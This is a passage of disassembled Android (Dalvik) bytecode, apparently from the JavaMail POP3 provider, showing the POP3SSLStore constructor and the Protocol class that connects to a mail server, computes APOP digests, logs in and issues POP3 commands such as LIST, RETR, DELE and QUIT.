00000092  invoke-virtual          EOFException->getMessage()String, v0
00000098  move-result-object      v0
0000009A  invoke-direct           AuthenticationFailedException-><init>(String)V, v1, v0
000000A0  throw                   v1
:A2
000000A2  move-exception          v0
000000A4  monitor-exit            p0
000000A6  throw                   v0
:A8
000000A8  move-exception          v0
:AA
000000AA  new-instance            v1, MessagingException
000000AE  const-string            v2, "Connect failed"
000000B2  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
000000B8  throw                   v1
:BA
000000BA  move                    v0, p2
000000BC  goto                    :62
          .catchall {:1A .. :7A} :A2
          .catch EOFException {:7C .. :88} :8C
          .catch IOException {:7C .. :88} :A8
          .catchall {:7C .. :88} :A2
          .catchall {:8E .. :A2} :A2
          .catchall {:AA .. :BA} :A2
.end method

#--------------------------------------------------------------------------------
.class public POP3SSLStore
.super POP3Store
.source ""

.method public constructor <init>(Session, URLName)V
          .registers 9
00000000  const-string            v3, "pop3s"
00000004  const/16                v4, 0x3E3
00000008  const/4                 v5, 0x1
0000000A  move-object             v0, p0
0000000C  move-object             v1, p1
0000000E  move-object             v2, p2
00000010  invoke-direct/range     POP3Store-><init>(Session, URLName, String, I, Z)V, v0 .. v5
00000016  return-void
.end method

#--------------------------------------------------------------------------------
.class Protocol
.super Object
.source ""

.field private static final CRLF:String = "\r\n"
.field private static final POP3_PORT:I = 0x6E
.field private static digits:[C
.field private apopChallenge:String
.field private debug:Z
.field private input:DataInputStream
.field private out:PrintStream
.field private output:PrintWriter
.field private socket:Socket

.method static constructor <clinit>()V
          .registers 1
00000000  const/16                v0, 0x10
00000004  new-array               v0, v0, [C
00000008  fill-array-data         v0, :14
0000000E  sput-object             v0, Protocol->digits:[C
00000012  return-void
00000014  .array-data 2 x 0x10
              0x30
              0x31
              0x32
              0x33
              0x34
              0x35
              0x36
              0x37
              0x38
              0x39
              0x61
              0x62
              0x63
              0x64
              0x65
              0x66
          .end array-data
.end method

.method constructor <init>(String, I, Z, PrintStream, Properties, String, Z)V
          .registers 15
00000000  const/4                 v1, 0x0
00000002  const/4                 v0, 0x0
00000004  const/4                 v6, 0xFFFFFFFFFFFFFFFF
00000006  invoke-direct           Object-><init>()V, p0
0000000C  iput-boolean            v0, p0, Protocol->debug:Z
00000010  iput-object             v1, p0, Protocol->apopChallenge:String
00000014  iput-boolean            p3, p0, Protocol->debug:Z
00000018  iput-object             p4, p0, Protocol->out:PrintStream
0000001C  new-instance            v1, StringBuilder
00000020  invoke-static           String->valueOf(Object)String, p6
00000026  move-result-object      v2
00000028  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000002E  const-string            v2, ".apop.enable"
00000032  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000038  move-result-object      v1
0000003A  invoke-virtual          StringBuilder->toString()String, v1
00000040  move-result-object      v1
00000042  invoke-virtual          Properties->getProperty(String)String, p5, v1
00000048  move-result-object      v1
0000004A  if-eqz                  v1, :60
:4E
0000004E  const-string            v2, "true"
00000052  invoke-virtual          String->equalsIgnoreCase(String)Z, v1, v2
00000058  move-result             v1
0000005A  if-eqz                  v1, :60
:5E
0000005E  const/4                 v0, 0x1
:60
00000060  if-ne                   p2, v6, :68
:64
00000064  const/16                p2, 0x6E
:68
00000068  if-eqz                  p3, :B8
:6C
0000006C  new-instance            v1, StringBuilder
00000070  const-string            v2, "DEBUG POP3: connecting to host \""
00000074  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000007A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p1
00000080  move-result-object      v1
00000082  const-string            v2, "\", port "
00000086  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000008C  move-result-object      v1
0000008E  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, p2
00000094  move-result-object      v1
00000096  const-string            v2, ", isSSL "
0000009A  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
000000A0  move-result-object      v1
000000A2  invoke-virtual          StringBuilder->append(Z)StringBuilder, v1, p7
000000A8  move-result-object      v1
000000AA  invoke-virtual          StringBuilder->toString()String, v1
000000B0  move-result-object      v1
000000B2  invoke-virtual          PrintStream->println(String)V, p4, v1
:B8
000000B8  invoke-static           SocketFetcher->getSocket(String, I, Properties, String, Z)Socket, p1, p2, p5, p6, p7
000000BE  move-result-object      v1
000000C0  iput-object             v1, p0, Protocol->socket:Socket
000000C4  new-instance            v1, DataInputStream
000000C8  new-instance            v2, BufferedInputStream
000000CC  iget-object             v3, p0, Protocol->socket:Socket
000000D0  invoke-virtual          Socket->getInputStream()InputStream, v3
000000D6  move-result-object      v3
000000D8  invoke-direct           BufferedInputStream-><init>(InputStream)V, v2, v3
000000DE  invoke-direct           DataInputStream-><init>(InputStream)V, v1, v2
000000E4  iput-object             v1, p0, Protocol->input:DataInputStream
000000E8  new-instance            v1, PrintWriter
000000EC  new-instance            v2, BufferedWriter
000000F0  new-instance            v3, OutputStreamWriter
000000F4  iget-object             v4, p0, Protocol->socket:Socket
000000F8  invoke-virtual          Socket->getOutputStream()OutputStream, v4
000000FE  move-result-object      v4
00000100  const-string            v5, "iso-8859-1"
00000104  invoke-direct           OutputStreamWriter-><init>(OutputStream, String)V, v3, v4, v5
0000010A  invoke-direct           BufferedWriter-><init>(Writer)V, v2, v3
00000110  invoke-direct           PrintWriter-><init>(Writer)V, v1, v2
00000116  iput-object             v1, p0, Protocol->output:PrintWriter
0000011A  const/4                 v1, 0x0
0000011C  invoke-direct           Protocol->simpleCommand(String)Response, p0, v1
:122
00000122  move-result-object      v1
00000124  iget-boolean            v2, v1, Response->ok:Z
00000128  if-nez                  v2, :154
:12C
0000012C  iget-object             v0, p0, Protocol->socket:Socket
00000130  invoke-virtual          Socket->close()V, v0
:136
00000136  new-instance            v0, IOException
0000013A  const-string            v1, "Connect failed"
0000013E  invoke-direct           IOException-><init>(String)V, v0, v1
00000144  throw                   v0
:146
00000146  move-exception          v0
:148
00000148  iget-object             v1, p0, Protocol->socket:Socket
0000014C  invoke-virtual          Socket->close()V, v1
:152
00000152  throw                   v0
:154
00000154  if-eqz                  v0, :1C0
:158
00000158  iget-object             v0, v1, Response->data:String
0000015C  const/16                v2, 0x3C
00000160  invoke-virtual          String->indexOf(I)I, v0, v2
00000166  move-result             v0
00000168  iget-object             v2, v1, Response->data:String
0000016C  const/16                v3, 0x3E
00000170  invoke-virtual          String->indexOf(I, I)I, v2, v3, v0
00000176  move-result             v2
00000178  if-eq                   v0, v6, :194
:17C
0000017C  if-eq                   v2, v6, :194
:180
00000180  iget-object             v1, v1, Response->data:String
00000184  add-int/lit8            v2, v2, 0x1
00000188  invoke-virtual          String->substring(I, I)String, v1, v0, v2
0000018E  move-result-object      v0
00000190  iput-object             v0, p0, Protocol->apopChallenge:String
:194
00000194  if-eqz                  p3, :1C0
:198
00000198  new-instance            v0, StringBuilder
0000019C  const-string            v1, "DEBUG POP3: APOP challenge: "
000001A0  invoke-direct           StringBuilder-><init>(String)V, v0, v1
000001A6  iget-object             v1, p0, Protocol->apopChallenge:String
000001AA  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
000001B0  move-result-object      v0
000001B2  invoke-virtual          StringBuilder->toString()String, v0
000001B8  move-result-object      v0
000001BA  invoke-virtual          PrintStream->println(String)V, p4, v0
:1C0
000001C0  return-void
:1C2
000001C2  move-exception          v0
000001C4  goto                    :136
:1C6
000001C6  move-exception          v1
000001C8  goto                    :152
          .catch IOException {:6C .. :122} :146
          .catchall {:12C .. :136} :1C2
          .catchall {:148 .. :152} :1C6
.end method

.method private getDigest(String)String
          .registers 6
00000000  const/4                 v0, 0x0
00000002  new-instance            v1, StringBuilder
00000006  iget-object             v2, p0, Protocol->apopChallenge:String
0000000A  invoke-static           String->valueOf(Object)String, v2
00000010  move-result-object      v2
00000012  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000018  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p1
0000001E  move-result-object      v1
00000020  invoke-virtual          StringBuilder->toString()String, v1
00000026  move-result-object      v1
:28
00000028  const-string            v2, "MD5"
0000002C  invoke-static           MessageDigest->getInstance(String)MessageDigest, v2
00000032  move-result-object      v2
00000034  const-string            v3, "iso-8859-1"
00000038  invoke-virtual          String->getBytes(String)[B, v1, v3
0000003E  move-result-object      v1
00000040  invoke-virtual          MessageDigest->digest([B)[B, v2, v1
:46
00000046  move-result-object      v0
00000048  invoke-static           Protocol->toHex([B)String, v0
0000004E  move-result-object      v0
:50
00000050  return-object           v0
:52
00000052  move-exception          v1
00000054  goto                    :50
:56
00000056  move-exception          v1
00000058  goto                    :50
          .catch NoSuchAlgorithmException {:28 .. :46} :56
          .catch UnsupportedEncodingException {:28 .. :46} :52
.end method

.method private multilineCommand(String, I)Response
          .registers 8
00000000  const/16                v1, 0xA
00000004  invoke-direct           Protocol->simpleCommand(String)Response, p0, p1
0000000A  move-result-object      v3
0000000C  iget-boolean            v0, v3, Response->ok:Z
00000010  if-nez                  v0, :18
:14
00000014  move-object             v0, v3
:16
00000016  return-object           v0
:18
00000018  new-instance            v4, SharedByteArrayOutputStream
0000001C  invoke-direct           SharedByteArrayOutputStream-><init>(I)V, v4, p2
00000022  move                    v0, v1
:24
00000024  iget-object             v2, p0, Protocol->input:DataInputStream
00000028  invoke-virtual          DataInputStream->read()I, v2
0000002E  move-result             v2
00000030  if-gez                  v2, :48
:34
00000034  if-gez                  v2, :C8
:38
00000038  new-instance            v0, EOFException
0000003C  const-string            v1, "EOF on socket"
00000040  invoke-direct           EOFException-><init>(String)V, v0, v1
00000046  throw                   v0
:48
00000048  if-ne                   v0, v1, :AC
:4C
0000004C  const/16                v0, 0x2E
00000050  if-ne                   v2, v0, :AC
:54
00000054  iget-boolean            v0, p0, Protocol->debug:Z
00000058  if-eqz                  v0, :66
:5C
0000005C  iget-object             v0, p0, Protocol->out:PrintStream
00000060  invoke-virtual          PrintStream->write(I)V, v0, v2
:66
00000066  iget-object             v0, p0, Protocol->input:DataInputStream
0000006A  invoke-virtual          DataInputStream->read()I, v0
00000070  move-result             v0
00000072  const/16                v2, 0xD
00000076  if-ne                   v0, v2, :AE
:7A
0000007A  iget-boolean            v1, p0, Protocol->debug:Z
0000007E  if-eqz                  v1, :8C
:82
00000082  iget-object             v1, p0, Protocol->out:PrintStream
00000086  invoke-virtual          PrintStream->write(I)V, v1, v0
:8C
0000008C  iget-object             v0, p0, Protocol->input:DataInputStream
00000090  invoke-virtual          DataInputStream->read()I, v0
00000096  move-result             v2
00000098  iget-boolean            v0, p0, Protocol->debug:Z
0000009C  if-eqz                  v0, :34
:A0
000000A0  iget-object             v0, p0, Protocol->out:PrintStream
000000A4  invoke-virtual          PrintStream->write(I)V, v0, v2
000000AA  goto                    :34
:AC
000000AC  move                    v0, v2
:AE
000000AE  invoke-virtual          SharedByteArrayOutputStream->write(I)V, v4, v0
000000B4  iget-boolean            v2, p0, Protocol->debug:Z
000000B8  if-eqz                  v2, :24
:BC
000000BC  iget-object             v2, p0, Protocol->out:PrintStream
000000C0  invoke-virtual          PrintStream->write(I)V, v2, v0
000000C6  goto                    :24
:C8
000000C8  invoke-virtual          SharedByteArrayOutputStream->toStream()InputStream, v4
000000CE  move-result-object      v0
000000D0  iput-object             v0, v3, Response->bytes:InputStream
000000D4  move-object             v0, v3
000000D6  goto                    :16
.end method

.method private simpleCommand(String)Response
          .registers 6
00000000  iget-object             v0, p0, Protocol->socket:Socket
00000004  if-nez                  v0, :18
:8
00000008  new-instance            v0, IOException
0000000C  const-string            v1, "Folder is closed"
00000010  invoke-direct           IOException-><init>(String)V, v0, v1
00000016  throw                   v0
:18
00000018  if-eqz                  p1, :86
:1C
0000001C  iget-boolean            v0, p0, Protocol->debug:Z
00000020  if-eqz                  v0, :4C
:24
00000024  iget-object             v0, p0, Protocol->out:PrintStream
00000028  new-instance            v1, StringBuilder
0000002C  const-string            v2, "C: "
00000030  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000036  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p1
0000003C  move-result-object      v1
0000003E  invoke-virtual          StringBuilder->toString()String, v1
00000044  move-result-object      v1
00000046  invoke-virtual          PrintStream->println(String)V, v0, v1
:4C
0000004C  new-instance            v0, StringBuilder
00000050  invoke-static           String->valueOf(Object)String, p1
00000056  move-result-object      v1
00000058  invoke-direct           StringBuilder-><init>(String)V, v0, v1
0000005E  const-string            v1, "\r\n"
00000062  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000068  move-result-object      v0
0000006A  invoke-virtual          StringBuilder->toString()String, v0
00000070  move-result-object      v0
00000072  iget-object             v1, p0, Protocol->output:PrintWriter
00000076  invoke-virtual          PrintWriter->print(String)V, v1, v0
0000007C  iget-object             v0, p0, Protocol->output:PrintWriter
00000080  invoke-virtual          PrintWriter->flush()V, v0
:86
00000086  iget-object             v0, p0, Protocol->input:DataInputStream
0000008A  invoke-virtual          DataInputStream->readLine()String, v0
00000090  move-result-object      v0
00000092  if-nez                  v0, :BC
:96
00000096  iget-boolean            v0, p0, Protocol->debug:Z
0000009A  if-eqz                  v0, :AC
:9E
0000009E  iget-object             v0, p0, Protocol->out:PrintStream
000000A2  const-string            v1, "S: EOF"
000000A6  invoke-virtual          PrintStream->println(String)V, v0, v1
:AC
000000AC  new-instance            v0, EOFException
000000B0  const-string            v1, "EOF on socket"
000000B4  invoke-direct           EOFException-><init>(String)V, v0, v1
000000BA  throw                   v0
:BC
000000BC  iget-boolean            v1, p0, Protocol->debug:Z
000000C0  if-eqz                  v1, :EC
:C4
000000C4  iget-object             v1, p0, Protocol->out:PrintStream
000000C8  new-instance            v2, StringBuilder
000000CC  const-string            v3, "S: "
000000D0  invoke-direct           StringBuilder-><init>(String)V, v2, v3
000000D6  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
000000DC  move-result-object      v2
000000DE  invoke-virtual          StringBuilder->toString()String, v2
000000E4  move-result-object      v2
000000E6  invoke-virtual          PrintStream->println(String)V, v1, v2
:EC
000000EC  new-instance            v1, Response
000000F0  invoke-direct           Response-><init>()V, v1
000000F6  const-string            v2, "+OK"
000000FA  invoke-virtual          String->startsWith(String)Z, v0, v2
00000100  move-result             v2
00000102  if-eqz                  v2, :12E
:106
00000106  const/4                 v2, 0x1
00000108  iput-boolean            v2, v1, Response->ok:Z
:10C
0000010C  const/16                v2, 0x20
00000110  invoke-virtual          String->indexOf(I)I, v0, v2
00000116  move-result             v2
00000118  if-ltz                  v2, :12C
:11C
0000011C  add-int/lit8            v2, v2, 0x1
00000120  invoke-virtual          String->substring(I)String, v0, v2
00000126  move-result-object      v0
00000128  iput-object             v0, v1, Response->data:String
:12C
0000012C  return-object           v1
:12E
0000012E  const-string            v2, "-ERR"
00000132  invoke-virtual          String->startsWith(String)Z, v0, v2
00000138  move-result             v2
0000013A  if-eqz                  v2, :146
:13E
0000013E  const/4                 v2, 0x0
00000140  iput-boolean            v2, v1, Response->ok:Z
00000144  goto                    :10C
:146
00000146  new-instance            v1, IOException
0000014A  new-instance            v2, StringBuilder
0000014E  const-string            v3, "Unexpected response: "
00000152  invoke-direct           StringBuilder-><init>(String)V, v2, v3
00000158  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v0
0000015E  move-result-object      v0
00000160  invoke-virtual          StringBuilder->toString()String, v0
00000166  move-result-object      v0
00000168  invoke-direct           IOException-><init>(String)V, v1, v0
0000016E  throw                   v1
.end method

.method private static toHex([B)String
          .registers 8
00000000  const/4                 v0, 0x0
00000002  array-length            v1, p0
00000004  mul-int/lit8            v1, v1, 0x2
00000008  new-array               v2, v1, [C
0000000C  move                    v1, v0
:E
0000000E  array-length            v3, p0
00000010  if-lt                   v1, v3, :20
:14
00000014  new-instance            v0, String
00000018  invoke-direct           String-><init>([C)V, v0, v2
0000001E  return-object           v0
:20
00000020  aget-byte               v3, p0, v1
00000024  and-int/lit16           v3, v3, 0xFF
00000028  add-int/lit8            v4, v0, 0x1
0000002C  sget-object             v5, Protocol->digits:[C
00000030  shr-int/lit8            v6, v3, 0x4
00000034  aget-char               v5, v5, v6
00000038  aput-char               v5, v2, v0
0000003C  add-int/lit8            v0, v4, 0x1
00000040  sget-object             v5, Protocol->digits:[C
00000044  and-int/lit8            v3, v3, 0xF
00000048  aget-char               v3, v5, v3
0000004C  aput-char               v3, v2, v4
00000050  add-int/lit8            v1, v1, 0x1
00000054  goto                    :E
.end method

.method declared-synchronized dele(I)Z
          .registers 4
00000000  monitor-enter           p0
:2
00000002  new-instance            v0, StringBuilder
00000006  const-string            v1, "DELE "
0000000A  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000010  invoke-virtual          StringBuilder->append(I)StringBuilder, v0, p1
00000016  move-result-object      v0
00000018  invoke-virtual          StringBuilder->toString()String, v0
0000001E  move-result-object      v0
00000020  invoke-direct           Protocol->simpleCommand(String)Response, p0, v0
00000026  move-result-object      v0
00000028  iget-boolean            v0, v0, Response->ok:Z
:2C
0000002C  monitor-exit            p0
0000002E  return                  v0
:30
00000030  move-exception          v0
00000032  monitor-exit            p0
00000034  throw                   v0
          .catchall {:2 .. :2C} :30
.end method

.method protected finalize()V
          .registers 2
00000000  invoke-super            Object->finalize()V, p0
00000006  iget-object             v0, p0, Protocol->socket:Socket
0000000A  if-eqz                  v0, :14
:E
0000000E  invoke-virtual          Protocol->quit()Z, p0
:14
00000014  return-void
.end method

.method declared-synchronized list(I)I
          .registers 5
00000000  monitor-enter           p0
:2
00000002  new-instance            v0, StringBuilder
00000006  const-string            v1, "LIST "
0000000A  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000010  invoke-virtual          StringBuilder->append(I)StringBuilder, v0, p1
00000016  move-result-object      v0
00000018  invoke-virtual          StringBuilder->toString()String, v0
0000001E  move-result-object      v0
00000020  invoke-direct           Protocol->simpleCommand(String)Response, p0, v0
00000026  move-result-object      v1
00000028  const/4                 v0, 0xFFFFFFFFFFFFFFFF
0000002A  iget-boolean            v2, v1, Response->ok:Z
0000002E  if-eqz                  v2, :5E
:32
00000032  iget-object             v2, v1, Response->data:String
:36
00000036  if-eqz                  v2, :5E
:3A
0000003A  new-instance            v2, StringTokenizer
0000003E  iget-object             v1, v1, Response->data:String
00000042  invoke-direct           StringTokenizer-><init>(String)V, v2, v1
00000048  invoke-virtual          StringTokenizer->nextToken()String, v2
0000004E  invoke-virtual          StringTokenizer->nextToken()String, v2
00000054  move-result-object      v1
00000056  invoke-static           Integer->parseInt(String)I, v1
:5C
0000005C  move-result             v0
:5E
0000005E  monitor-exit            p0
00000060  return                  v0
:62
00000062  move-exception          v0
00000064  monitor-exit            p0
00000066  throw                   v0
:68
00000068  move-exception          v1
0000006A  goto                    :5E
          .catchall {:2 .. :36} :62
          .catch Exception {:3A .. :5C} :68
          .catchall {:3A .. :5C} :62
.end method

.method declared-synchronized list()InputStream
          .registers 3
00000000  monitor-enter           p0
:2
00000002  const-string            v0, "LIST"
00000006  const/16                v1, 0x80
0000000A  invoke-direct           Protocol->multilineCommand(String, I)Response, p0, v0, v1
00000010  move-result-object      v0
00000012  iget-object             v0, v0, Response->bytes:InputStream
:16
00000016  monitor-exit            p0
00000018  return-object           v0
:1A
0000001A  move-exception          v0
0000001C  monitor-exit            p0
0000001E  throw                   v0
          .catchall {:2 .. :16} :1A
.end method

.method declared-synchronized login(String, String)String
          .registers 7
00000000  const/4                 v0, 0x0
00000002  monitor-enter           p0
:4
00000004  iget-object             v1, p0, Protocol->apopChallenge:String
00000008  if-eqz                  v1, :E8
:C
0000000C  invoke-direct           Protocol->getDigest(String)String, p0, p2
00000012  move-result-object      v1
:14
00000014  iget-object             v2, p0, Protocol->apopChallenge:String
00000018  if-eqz                  v2, :72
:1C
0000001C  if-eqz                  v1, :72
:20
00000020  new-instance            v2, StringBuilder
00000024  const-string            v3, "APOP "
00000028  invoke-direct           StringBuilder-><init>(String)V, v2, v3
0000002E  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, p1
00000034  move-result-object      v2
00000036  const-string            v3, " "
0000003A  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v3
00000040  move-result-object      v2
00000042  invoke-virtual          StringBuilder->append(String)StringBuilder, v2, v1
00000048  move-result-object      v1
0000004A  invoke-virtual          StringBuilder->toString()String, v1
00000050  move-result-object      v1
00000052  invoke-direct           Protocol->simpleCommand(String)Response, p0, v1
00000058  move-result-object      v1
:5A
0000005A  iget-boolean            v2, v1, Response->ok:Z
0000005E  if-nez                  v2, :6E
:62
00000062  iget-object             v0, v1, Response->data:String
00000066  if-eqz                  v0, :DC
:6A
0000006A  iget-object             v0, v1, Response->data:String
:6E
0000006E  monitor-exit            p0
00000070  return-object           v0
:72
00000072  new-instance            v1, StringBuilder
00000076  const-string            v2, "USER "
0000007A  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000080  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p1
00000086  move-result-object      v1
00000088  invoke-virtual          StringBuilder->toString()String, v1
0000008E  move-result-object      v1
00000090  invoke-direct           Protocol->simpleCommand(String)Response, p0, v1
00000096  move-result-object      v1
00000098  iget-boolean            v2, v1, Response->ok:Z
0000009C  if-nez                  v2, :B4
:A0
000000A0  iget-object             v0, v1, Response->data:String
000000A4  if-eqz                  v0, :AE
:A8
000000A8  iget-object             v0, v1, Response->data:String
000000AC  goto                    :6E
:AE
000000AE  const-string            v0, "USER command failed"
000000B2  goto                    :6E
:B4
000000B4  new-instance            v1, StringBuilder
000000B8  const-string            v2, "PASS "
000000BC  invoke-direct           StringBuilder-><init>(String)V, v1, v2
000000C2  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, p2
000000C8  move-result-object      v1
000000CA  invoke-virtual          StringBuilder->toString()String, v1
000000D0  move-result-object      v1
000000D2  invoke-direct           Protocol->simpleCommand(String)Response, p0, v1
000000D8  move-result-object      v1
000000DA  goto                    :5A
:DC
000000DC  const-string            v0, "login failed"
:E0
000000E0  goto                    :6E
:E2
000000E2  move-exception          v0
000000E4  monitor-exit            p0
000000E6  throw                   v0
:E8
000000E8  move-object             v1, v0
000000EA  goto                    :14
          .catchall {:4 .. :6E} :E2
          .catchall {:72 .. :E0} :E2
.end method

.method declared-synchronized noop()Z
          .registers 2
00000000  monitor-enter           p0
:2
00000002  const-string            v0, "NOOP"
00000006  invoke-direct           Protocol->simpleCommand(String)Response, p0, v0
0000000C  move-result-object      v0
0000000E  iget-boolean            v0, v0, Response->ok:Z
:12
00000012  monitor-exit            p0
00000014  return                  v0
:16
00000016  move-exception          v0
00000018  monitor-exit            p0
0000001A  throw                   v0
          .catchall {:2 .. :12} :16
.end method

.method declared-synchronized quit()Z
          .registers 3
00000000  monitor-enter           p0
:2
00000002  const-string            v0, "QUIT"
00000006  invoke-direct           Protocol->simpleCommand(String)Response, p0, v0
0000000C  move-result-object      v0
0000000E  iget-boolean            v0, v0, Response->ok:Z
:12
00000012  iget-object             v1, p0, Protocol->socket:Socket
00000016  invoke-virtual          Socket->close()V, v1
:1C
0000001C  const/4                 v1, 0x0
:1E
0000001E  iput-object             v1, p0, Protocol->socket:Socket
00000022  const/4                 v1, 0x0
00000024  iput-object             v1, p0, Protocol->input:DataInputStream
00000028  const/4                 v1, 0x0
0000002A  iput-object             v1, p0, Protocol->output:PrintWriter
:2E
0000002E  monitor-exit            p0
00000030  return                  v0
:32
00000032  move-exception          v0
:34
00000034  iget-object             v1, p0, Protocol->socket:Socket
00000038  invoke-virtual          Socket->close()V, v1
:3E
0000003E  const/4                 v1, 0x0
:40
00000040  iput-object             v1, p0, Protocol->socket:Socket
00000044  const/4                 v1, 0x0
00000046  iput-object             v1, p0, Protocol->input:DataInputStream
0000004A  const/4                 v1, 0x0
0000004C  iput-object             v1, p0, Protocol->output:PrintWriter
00000050  throw                   v0
:52
00000052  move-exception          v0
00000054  monitor-exit            p0
00000056  throw                   v0
:58
00000058  move-exception          v0
0000005A  const/4                 v1, 0x0
:5C
0000005C  iput-object             v1, p0, Protocol->socket:Socket
00000060  const/4                 v1, 0x0
00000062  iput-object             v1, p0, Protocol->input:DataInputStream
00000066  const/4                 v1, 0x0
00000068  iput-object             v1, p0, Protocol->output:PrintWriter
0000006C  throw                   v0
:6E
0000006E  move-exception          v0
00000070  const/4                 v1, 0x0
00000072  iput-object             v1, p0, Protocol->socket:Socket
00000076  const/4                 v1, 0x0
00000078  iput-object             v1, p0, Protocol->input:DataInputStream
0000007C  const/4                 v1, 0x0
0000007E  iput-object             v1, p0, Protocol->output:PrintWriter
00000082  throw                   v0
          .catchall {:2 .. :12} :32
          .catchall {:12 .. :1C} :6E
          .catchall {:1E .. :2E} :52
          .catchall {:34 .. :3E} :58
          .catchall {:40 .. :52} :52
          .catchall {:5C .. :84} :52
.end method

.method declared-synchronized retr(I, I)InputStream
          .registers 5
00000000  monitor-enter           p0
:2
00000002  new-instance            v0, StringBuilder
00000006  const-string            v1, "RETR "
0000000A  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000010  invoke-virtual          StringBuilder->append(I)StringBuilder, v0, p1
00000016  move-result-object      v0
00000018  invoke-virtual          StringBuilder->toString()String, v0
0000001E  move-result-object      v0
00000020  invoke-direct           Protocol->multilineCommand(String, I)Response, p0, v0, p2
00000026  move-result-object      v0
00000028  iget-object             v0, v0, Response->bytes:InputStream
:2C
0000002C  monitor-exit            p0
0000002E  return-object           v0
:30
00000030  move-exception          v0
00000032  monitor-exit            p0
00000034  throw                   v0
          .catchall {:2 .. :2C} :30
.end method

.method declared-synchronized rset()Z
          .registers 2
00000000  monitor-enter           p0
:2
00000002  const-string            v0, "RSET"
00000006  invoke-direct           Protocol->simpleCommand(String)Response, p0, v0
0000000C  move-result-object      v0
0000000E  iget-boolean            v0, v0, Response->ok:Z
:12
00000012  monitor-exit            p0
00000014  return                  v0
:16
00000016  move-exception          v0
00000018  monitor-exit            p0
0000001A  throw                   v0
          .catchall {:2 .. :12} :16
.end method

.method declared-synchronized stat()Status
          .registers 4
00000000  monitor-enter           p0
:2
00000002  const-string            v0, "STAT"
00000006  invoke-direct           Protocol->simpleCommand(String)Response, p0, v0
0000000C  move-result-object      v0
0000000E  new-instance            v1, Status
00000012  invoke-direct           Status-><init>()V, v1
00000018  iget-boolean            v2, v0, Response->ok:Z
0000001C  if-eqz                  v2, :5E
:20
00000020  iget-object             v2, v0, Response->data:String
:24
00000024  if-eqz                  v2, :5E
:28
00000028  new-instance            v2, StringTokenizer
0000002C  iget-object             v0, v0, Response->data:String
00000030  invoke-direct           StringTokenizer-><init>(String)V, v2, v0
00000036  invoke-virtual          StringTokenizer->nextToken()String, v2
0000003C  move-result-object      v0
0000003E  invoke-static           Integer->parseInt(String)I, v0
00000044  move-result             v0
00000046  iput                    v0, v1, Status->total:I
0000004A  invoke-virtual          StringTokenizer->nextToken()String, v2
00000050  move-result-object      v0
00000052  invoke-static           Integer->parseInt(String)I, v0
00000058  move-result             v0
0000005A  iput                    v0, v1, Status->size:I
:5E
0000005E  monitor-exit            p0
00000060  return-object           v1
:62
00000062  move-exception          v0
00000064  monitor-exit            p0
00000066  throw                   v0
:68
00000068  move-exception          v0
0000006A  goto                    :5E
          .catchall {:2 .. :24} :62
          .catch Exception {:28 .. :5E} :68
          .catchall {:28 .. :5E} :62
.end method

.method declared-synchronized top(I, I)InputStream
          .registers 5
00000000  monitor-enter           p0
:2
00000002  new-instance            v0, StringBuilder
00000006  const-string            v1, "TOP "
0000000A  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000010  invoke-virtual          StringBuilder->append(I)StringBuilder, v0, p1
00000016  move-result-object      v0
00000018  const-string            v1, " "
0000001C  invoke-virtual          StringBuilder->append(String)StringBuilder, v0, v1
00000022  move-result-object      v0
00000024  invoke-virtual          StringBuilder->append(I)StringBuilder, v0, p2
0000002A  move-result-object      v0
0000002C  invoke-virtual          StringBuilder->toString()String, v0
00000032  move-result-object      v0
00000034  const/4                 v1, 0x0
00000036  invoke-direct           Protocol->multilineCommand(String, I)Response, p0, v0, v1
0000003C  move-result-object      v0
0000003E  iget-object             v0, v0, Response->bytes:InputStream
:42
00000042  monitor-exit            p0
00000044  return-object           v0
:46
00000046  move-exception          v0
00000048  monitor-exit            p0
0000004A  throw                   v0
          .catchall {:2 .. :42} :46
.end method

.method declared-synchronized uidl(I)String
          .registers 6
00000000  const/4                 v0, 0x0
00000002  monitor-enter           p0
:4
00000004  new-instance            v1, StringBuilder
00000008  const-string            v2, "UIDL "
0000000C  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000012  invoke-virtual          StringBuilder->append(I)StringBuilder, v1, p1
00000018  move-result-object      v1
0000001A  invoke-virtual          StringBuilder->toString()String, v1
00000020  move-result-object      v1
00000022  invoke-direct           Protocol->simpleCommand(String)Response, p0, v1
00000028  move-result-object      v1
0000002A  iget-boolean            v2, v1, Response->ok:Z
:2E
0000002E  if-nez                  v2, :36
:32
00000032  monitor-exit            p0
00000034  return-object           v0
:36
00000036  iget-object             v2, v1, Response->data:String
0000003A  const/16                v3, 0x20
0000003E  invoke-virtual          String->indexOf(I)I, v2, v3
00000044  move-result             v2
00000046  if-lez                  v2, :32
:4A
0000004A  iget-object             v0, v1, Response->data:String
0000004E  add-int/lit8            v1, v2, 0x1
00000052  invoke-virtual          String->substring(I)String, v0, v1
:58
00000058  move-result-object      v0
0000005A  goto                    :32
:5C
0000005C  move-exception          v0
0000005E  monitor-exit            p0
00000060  throw                   v0
          .catchall {:4 .. :2E} :5C
          .catchall {:36 .. :58} :5C
.end method

.method declared-synchronized uidl([String)Z
          .registers 8
00000000  const/4                 v1, 0x1
00000002  const/4                 v0, 0x0
00000004  monitor-enter           p0
:6
00000006  const-string            v2, "UIDL"
